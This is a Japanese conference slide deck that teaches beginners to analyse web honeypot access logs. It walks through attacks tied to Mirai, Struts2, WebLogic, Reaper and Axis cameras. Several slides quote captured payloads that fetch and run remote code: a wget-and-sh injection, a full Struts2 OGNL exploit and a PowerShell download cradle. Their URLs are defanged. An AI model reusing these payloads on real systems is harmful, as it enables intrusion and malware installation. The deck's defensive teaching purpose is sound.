Slide 1

Slide 1 text

ハニーポットログの 読み方(初級編) 第 4 回 ハニーポッター技術交流会 2018/06/30(Sat) @Sec_S_Owl

Slide 2

Slide 2 text

2 whomai S-Owl ( @Sec_S_Owl ) ・職業:プライベート SOC のアナリスト     仕事でログ分析をしています。     不審メールの調査とマルウェアの動的解析も。 ・初心者ハニーポッター( 2018/6/5~ 1 ヶ月未満)  毎日簡単に分析してログを blog に残してます  ブログ: https://sec-owl.hatenablog.com/

Slide 3

Slide 3 text

3 アジェンダ モチベーション ハニーポット初心者によるログ分析  ・ ハニーポットのログとは?  ・ アクセスログの何を見るか?  ・ 分析するには? 事例紹介  ・例 1 : D-Link の脆弱性を突く Mirai 亜種  ・例 2 : Struts2 の脆弱性をつく攻撃  ・例 3 : Weblogic の脆弱性をつく攻撃  ・例 4 : Reaper の攻撃  ・例 5 : Axis Communications 社のネットワークカメラを      狙った調査行為  まとめ

Slide 4

Slide 4 text

4 モチベーション ハニーポットを始めた理由 ・仕事で見ている範囲外のログを見たい  世間的に広まった攻撃か、そうでないかを仕事に活かしたい ・ IPS のシグネチャが出る前に攻撃を見つけたい  (過去にそういったインシデントに遭遇した経験あり) ・ハニーポッター技術交流会にハニポ枠で参加したい! → Web アクセスログが取れるハニーポットを植えよう  クラウドに低スペックで植えやすいものとして   WOWHoneypot を選択( 1 日で準備できました)  ※ IDCF クラウド ( 日本 ) で \500/ 月

Slide 5

Slide 5 text

5 ハニーポット初心者による 自己流ログ分析 あるいは SOC アナリスト的ハニポログ簡易分析

Slide 6

Slide 6 text

6 ハニーポットへのアクセスとは? ハニーポットへのアクセスは全てあやしいアクセス (正常通信かを考えなくていい) (ドメイン登録していない場合) ・どこにも公開していないのに、勝手に探してアクセスしてくる ・ IP ベースでアクセスしてくる自動的なスキャン行為 → 全て調査対象のログ 攻撃(およびその予備軍の調査)ログを目的に調べるか? →(自分は)  ・標的としている機器またはソフトウェアの特定  ・攻撃コードがあれば、その攻撃の意図

Slide 7

Slide 7 text

7 アクセスログの何を見るか? 主に見るのは、メソッドとパス GET ならパス + クエリ POST ならパス + ボディ で攻撃内容を調査する(ググる)。 User-Agent も特徴的であれば、それも使って調査 他は特徴的なところ、ログのうち通常と異なる部分を見る →そのためには通常のアクセスログを把握しておく   HTTP 通信に関する基本的な知識は必要 個人的には、送信元 IP での分析はあまりしない。

Slide 8

Slide 8 text

8 (参考)正常のログ 自分でハニポにブラウザでアクセスしてどう出るか見てみる GET / HTTP/1.1 Host: ( サーバ IP アドレス ) Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ima ge/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 ブラウザでアクセスすると GET /favicon.ico へのアクセスも出る

Slide 9

Slide 9 text

9 分析するには? 攻撃者の狙いを考える ・調査をして、対象を絞り込む ・リモートから任意のコード実行可能な脆弱性を突く ・脆弱性を突けたら継続して利用できるようマルウェアを仕込む → マルウェアを仕込むようなアクセスが攻撃者の意図に近い  ( wget や curl 、 FTP 等)  脆弱性が分かれば狙っている機器 / ソフトウェアが分かる 攻撃通信のパターンになれることで、判別しやすい 繰り返せばどんどん理解が早くなっていく どこが攻撃コードか分からない時のオススメ ・ハニーポットへの通信を IDS に入れて検知させる ・「サイバー攻撃の足跡を分析するハニーポット観察記録」を読む

Slide 10

Slide 10 text

10 事例紹介

Slide 11

Slide 11 text

11 例 1:D-Link の脆弱性を突く Mirai 亜種 このアクセスログが来た時、どこから調べるか? GET /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O -> /tmp/r;sh /tmp/r'$ Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World クエリと User-Agent が特徴的。 クエリに攻撃コードが含まれている為、恐らくその前までに脆弱 性があると推測。 それをキーワードに調査。 誤クリック防止の為、 http→hxxp としています

Slide 12

Slide 12 text

12 ググった 結果 同じ ペイロード 情報を発見 標的機器と exploit の 情報源も 例 1:D-Link の脆弱性を突く Mirai 亜種 同じペイロード 標的と exploit の情報

Slide 13

Slide 13 text

13 Google で Exploit-DB 内をクエリで調査しても同じページが 出てくる GET /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O -> /tmp/r;sh /tmp/r'$ 例 1:D-Link の脆弱性を突く Mirai 亜種

Slide 14

Slide 14 text

14 Exploit コードの中身はアクセスログに一致する内容 GET /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O -> /tmp/r;sh /tmp/r'$ 例 1:D-Link の脆弱性を突く Mirai 亜種

Slide 15

Slide 15 text

15 攻撃コードを Hybrid-Analysisで調べてみると更に Bot 用ファイ ルをダウンロードしていることが分かる。 例 1:D-Link の脆弱性を突く Mirai 亜種 D-Link のコード実行の脆弱性を 突いて Bot 化させる攻撃と判明

Slide 16

Slide 16 text

16 例 2 : Struts2 の脆弱性をつく攻撃 このアクセスログが来た時、どこから調べるか? GET /index.action HTTP/1.1 Connection: Keep-Alive Content-Type: %{(#nike='multipart/form-data').(#[email protected]   @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']) .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl. OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil. getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;   chmod 777 /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System   @getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()).(#ros=(@org. apache.struts2.ServletActionContext@getResponse(). getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())} Accept: */* Accept-Language: zh-cn Referer: http://(ipaddr):80/index.action User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Slide 17

Slide 17 text

17 例 2 : Struts2 の脆弱性をつく攻撃 気になるポイント GET /index.action HTTP/1.1 Connection: Keep-Alive Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl. OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil. getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses(). clear()).(#context. setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777 /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System @getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream (true)).(#process=#p.start()).(#ros=(@org. apache.struts2.ServletActionContext@getResponse ().getOutputStream())).(@org.apache.commons.io.IOUtils@copy (#process.getInputStream(),#ros)).(#ros.flush())} Content-Type が通常と比べ異常 ( 一般的な例 )   Content-Type: text/xml .action は Struts で使われる拡張子 攻撃コードが含まれている

Slide 18

Slide 18 text

18 例 2 : Struts2 の脆弱性をつく攻撃 気になるポイントで調べてみる Content-Type: %{(#nike='multipart/form-data'). (#[email protected] @DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.c ontainer']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ogn l.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))).(#cmd='wget -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777 /tmp/Linux.server;/tmp/Linux.server'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().co ntains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','- c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().get OutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),# ros)).(#ros.flush())} 脆弱性番号: CVE-2017-5638 / S2-045 Apache Struts2 の Content-Type ヘッダ に "multipart/form-data” に脆弱性がある

Slide 19

Slide 19 text

19 例 3 : Weblogic の脆弱性をつく攻撃 パスを調べると Weblogic の脆弱性 (CVE-2017-10271) と分かる POST /wls-wsat/CoordinatorPortType … Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E $OS=(GWmi Win32_OperatingSystem). Caption;   $WC=New-ObjectNet.WebClient;$WC.Headers ['User-Agent']="PowerShell/WL $OS";IEX $WC.DownloadString   ('hxxp://101.200.45[.]78/images/test/DL.php'); POST のボディ部に攻撃コードが含まれているが、そのまま調査し ても DL.php はダウンロードできない。 発表後資料修正版 →User-Agent が特定の 場合のみアクセス可能な よう制御されている様 子。偽装してアクセスす ることで解析でき、  CoinMiner と判明。 Analyzing Oracle WebLogic attack

Slide 20

Slide 20 text

20 単体のログでは不明でも、同じ送信元 IP からのアクセスで集約し た場合に一連のログで見えてくるものがある。 GET /cgi/common.cgi GET /stssys.htm GET / POST /command.php POST /command.php : これらのパスで調査 “ /cgi/common.cgi” “/stssys.htm” “/command.php” 例 4 : Reaper の攻撃 他者の blog 等の解説記事により判明することも → Bot による特定機器に対するブルートフォース DIR-610 exploit attack seen on Honeypot

Slide 21

Slide 21 text

21 以下のアクセスログを調査。 GET /axis-cgi/jpg/image.cgi HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51 Accept: */* Referer: 1 アクセスパスで検索してみると、以下が見つかった。 (中国語サイトの google 翻訳 ) 例 5 : Axis Communications 社の ネットワークカメラを狙った調査行為

Slide 22

Slide 22 text

22 まとめ ・ハニーポットのアクセスログは全て攻撃  全て解析できる(はず)の宝の山 ・アクセスログはまずはメソッドとパスから調べてみよう  やってみると意外と簡単に情報が見つかる。  誰かが調べて情報を出してくれている ・攻撃的なアクセスから攻撃者の意図を推測してみよう  何を対象に狙っているのか、何をしたいのか推測できる ・わかったことは情報発信しよう

Slide 23

Slide 23 text

23 FIN